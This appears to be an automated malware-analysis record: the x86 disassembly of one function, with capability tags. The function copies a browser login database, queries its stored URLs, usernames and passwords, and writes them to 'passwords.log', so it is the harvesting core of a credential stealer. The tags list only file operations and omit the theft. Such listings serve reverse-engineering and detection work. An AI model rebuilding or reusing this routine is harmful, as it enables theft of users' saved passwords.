Function at 0x402c2b
Capabilities:
Check if file exists
Copy file
Delete file
Get common file path
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3d30
call fcn.0055bc20
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x3d30], eax
mov edi, ecx
cmp eax, 0xffffffff
jne 0x402c5c
xor eax, eax
jmp 0x402fac
mov esi, 0x2ff
xor ebx, ebx
push esi
lea eax, [ebp - 0x30b]
push ebx
push eax
mov byte [ebp - 0x30c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x90b]
push ebx
push eax
mov byte [ebp - 0x90c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x60b]
push ebx
push eax
mov byte [ebp - 0x60c], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x90c]
push eax
push 0x300
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x30c]
push eax
push ebx
push ebx
push 0x8005
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x5d3ac8
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
lea eax, [ebp - 0x30c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1403
lea eax, [ebp - 0x3d13]
push ebx
push eax
mov dword [ebp - 0x3d24], ebx
mov byte [ebp - 0x3d14], bl
call fcn.0055bfc0
add esp, 0xc
mov esi, 0xfff
push esi
lea eax, [ebp - 0x290b]
push ebx
push eax
mov byte [ebp - 0x290c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x190b]
push ebx
push eax
mov byte [ebp - 0x190c], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [ebp - 0x3d28]
push eax
push 0x5d3acc
call fcn.0045c9e2
pop ecx
pop ecx
test eax, eax
jne 0x402f86
push ebx
lea eax, [ebp - 0x3d18]
push eax
push 0xffffffffffffffff
push str.SELECT_origin_url__username_value__password_value_FROM_logins
push dword [ebp - 0x3d28]
call fcn.00443427
add esp, 0x14
test eax, eax
jne 0x402f6e
push str.passwords.log
lea eax, [ebp - 0x90c]
push eax
lea eax, [ebp - 0x60c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x60c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push ebx
test eax, eax
push 0x80
lea eax, [ebp - 0x60c]
je 0x402dd2
push 3
push ebx
push ebx
push reloc.WS2_32.dll_connect
jmp 0x402ddb
push 1
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push dword [ebp - 0x3d18]
mov dword [ebp - 0x3d1c], eax
call fcn.00422ae4
pop ecx
cmp eax, 0x64
jne 0x402f59
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, 0x1000
push 2
push dword [ebp - 0x3d18]
call fcn.00422df1
cmp eax, edi
pop ecx
pop ecx
mov dword [ebp - 0x3d20], eax
jg 0x402f44
push eax
push 2
push dword [ebp - 0x3d18]
call fcn.00422dcd
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x190c]
push eax
call fcn.0055bc50
add esp, 0xc
push dword [ebp - 0x3d20]
lea edx, [ebp - 0x290c]
lea ecx, [ebp - 0x190c]
call fcn.0040358e
pop ecx
push ebx
push dword [ebp - 0x3d18]
call fcn.00422eb7
push 1
push dword [ebp - 0x3d18]
mov dword [ebp - 0x3d20], eax
call fcn.00422eb7
lea ecx, [ebp - 0x290c]
push ecx
push eax
push dword [ebp - 0x3d20]
lea eax, [ebp - 0x3d14]
push str.URL:__s_r_nUsename:__s_r_nPassword:__s_r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x290c]
push eax
call esi
test eax, eax
je 0x402eb2
inc dword [0x5e9a3c]
push ebx
lea eax, [ebp - 0x3d2c]
push eax
lea eax, [ebp - 0x3d14]
push eax
call esi
push eax
lea eax, [ebp - 0x3d14]
push eax
push dword [ebp - 0x3d30]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x3d1c], 0xffffffff
je 0x402f05
push ebx
lea eax, [ebp - 0x3d2c]
push eax
lea eax, [ebp - 0x3d14]
push eax
call esi
push eax
lea eax, [ebp - 0x3d14]
push eax
push dword [ebp - 0x3d1c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc dword [ebp - 0x3d24]
push edi
lea eax, [ebp - 0x290c]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push edi
lea eax, [ebp - 0x3d14]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push edi
lea eax, [ebp - 0x190c]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
mov dword [ebp - 0x3d2c], ebx
push dword [ebp - 0x3d18]
call fcn.00422ae4
pop ecx
cmp eax, 0x64
je 0x402e08
cmp dword [ebp - 0x3d1c], 0xffffffff
je 0x402f6e
push dword [ebp - 0x3d1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x3d18]
call fcn.004222e8
pop ecx
push dword [ebp - 0x3d28]
call fcn.0045b331
pop ecx
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x90c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [ebp - 0x3d24]
add dword [0x5e9a40], eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret